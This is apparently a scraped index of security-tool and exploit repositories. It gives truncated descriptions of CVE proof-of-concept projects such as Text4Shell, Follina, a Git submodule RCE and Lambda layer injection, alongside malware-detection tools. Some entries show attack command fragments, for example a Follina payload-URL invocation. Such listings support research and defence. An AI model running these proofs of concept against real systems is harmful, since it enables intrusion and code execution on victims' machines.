Text4ShellPayloads

Text4ShellPayloads This project includes a python script which generates malicious commands leveraging CVE-2022-42889 vulnerability The vulnerable server was set up according to the guidance of "Karthik U J" by following the step in https://github.com/karthikuj/cve-2022-42889-text4shell-docker...

web_exploit_detector

Web Exploit Detector Introduction The Web Exploit Detector is a Node.js application and NPM module used to detect possible infections, malicious code and suspicious files in web hosting environments. This application is intended to be run on web servers hosting one or more websites. Running the...

CVE-2019-5736-Dockerattack-and-security-mechanism

CVE-2019-5736-attack-and-security-mechanism In this project, we found a recent attack through the malicious container and implemented a security mechanism to stop it. Introduction Cyber-attacks have become a critical challenge for both companies and small businesses, largely due to vulnerabilitie...

chrome_v8_cve_checker

How to use Open https://itsshotgun.github.io/chromecve-2025-5419checker/ in Chrome The page will detect your Chrome version and tell you if you’re vulnerable. If vulnerable, it’ll show a link to update Chrome immediately. Why This zero-day lets malicious websites run baaaaaaad code on your machin...

ios-malicious-bithunter

iOS Malicious Bit Hunter Resumen iOS Malicious Bit Hunter es un motor de detección de complementos maliciosos para aplicaciones iOS. Puede analizar el encabezado del archivo macho de la biblioteca dinámica dylib inyectada basándose en el tiempo de ejecución, y puede realizar análisis de...

ios-malicious-bithunter

iOS Malicious Bit Hunter Abstract iOS Malicious Bit Hunter is a malicious plug-in detection engine for iOS applications. It can analyze the head of the macho file of the injected dylib dynamic library based on runtime, and can perform behavior analysis through interface input characteristics to...

WebPort-v1.19.1-Reflected-XSS

WebPort-v1.19.1-Reflected-XSS Reflected XSS in WebPort-v1.19.1 impacts users who open a maliciously crafted link or third-party web page. CVE-2019-12460 https://vulners.com/cve/CVE-2019-12460 PoC-1 To exploit vulnerability, someone could use 'http://server:8090/access/setup?type=" request to impa...

CVE-2026-22004-Git-LFS-Pointer-Poisoning-Supply-Chain-

CVE-2026-22004 – Git LFS Pointer Poisoning Supply Chain Program Code Bash + Python root@kitploit: createmaliciousrepo.sh - Sets up a repo with poisoned LFS pointer git init git lfs track ".bin" echo "version https://git-lfs.github.com/spec/v1 oid...

CVE-2024-32002

CVE-2024-32002 RCE PoC Overview This repository contains a Proof of Concept PoC for CVE-2024-32002, a Remote Code Execution RCE vulnerability in Git submodules. The exploit demonstrates how a malicious payload can be triggered via a recursive clone of a Git repository. Repository Setup Before...

CVE-2024-44346

Divulgación de CVE: CVE-2024-44346 Fecha: 13-09-2024 Resumen Se identificó una vulnerabilidad en Tosibox tbsetup.exe versión 4.0.0.0, que podría permitir la escalada de privilegios local. A este problema se le ha asignado el identificador CVE-2024-44346. El proveedor ha publicado un aviso con más...

CVE-2024-32002

CVE-2024-32002 RCE PoC Overview This repository contains a Proof of Concept PoC for CVE-2024-32002, a Remote Code Execution RCE vulnerability in Git submodules. The exploit demonstrates how a malicious payload can be triggered via a recursive clone of a Git repository. Repository Setup Before...

CVE-2020-11097-POC

crash FreeRDP using CVE-2020-11097 POC start server as python3 test.py connect to server by follwoing command xfreerdp /v:127.0.0.1:3389 /u:user /p:pass /gt:127.0.0.1 /log-level:DEBUG...

CVE-2026-22008-AWS-Lambda-Layer-Injection-via-Shared-Layer-ARN

CVE-2026-22008 – AWS Lambda Layer Injection via Shared Layer ARN Program Code Python root@kitploit: deployvulnerablelambda.py - Lambda function using a layer from untrusted account import boto3 lambdaclient = boto3.client'lambda' Attacker publishes a public layer containing malicious code Victim...

CVE-2022-4361

CVE-2022-4361 Description This repository contains a PoC for CVE-2022-4361. All the credits go to original author of the discovery, mulliken; IMPORTANT : this PoC is not complete as it does not cover the case for the AssertionConsumerServiceURL value on the SAML authentication protocol. Currently...

Follina-CVE-2022-30190-POC

Follina-CVE-2022-30190 Proof of Concept by Nee Usage root@kitploit: python3 follina.py --payload-url "http://192.168.200.144:1337/pwn.html" What it does Creates a malicious word file which points to the payload url that you specify Hosts the default payload located in the web folder Proof Of...

msidump

msidump MSI Dump - a tool that analyzes malicious MSI installation packages, extracts files, streams, binary data and incorporates YARA scanner. On Macro-enabled Office documents we can quickly use oletools mraptor to determine whether document is malicious. If we want to dissect it further, we...

cert-pinning-flaw-poc

cert pinning flaw POC Simple POC script for testing CVE-2016-2402 and similar flaws. Read my blog post for details. This utility will set up a HTTPS server that servers a malicious certificate chain to the client for a specific domain. If traffic from an app with a vulnerable certificate pinning...

CVE-2026-81993

Acrobat Reader is affected by a Heap-based Buffer Overflow vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious...

CVE-2026-82001

Acrobat Reader is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue requires...

CVE-2026-81991

Acrobat Reader is affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file...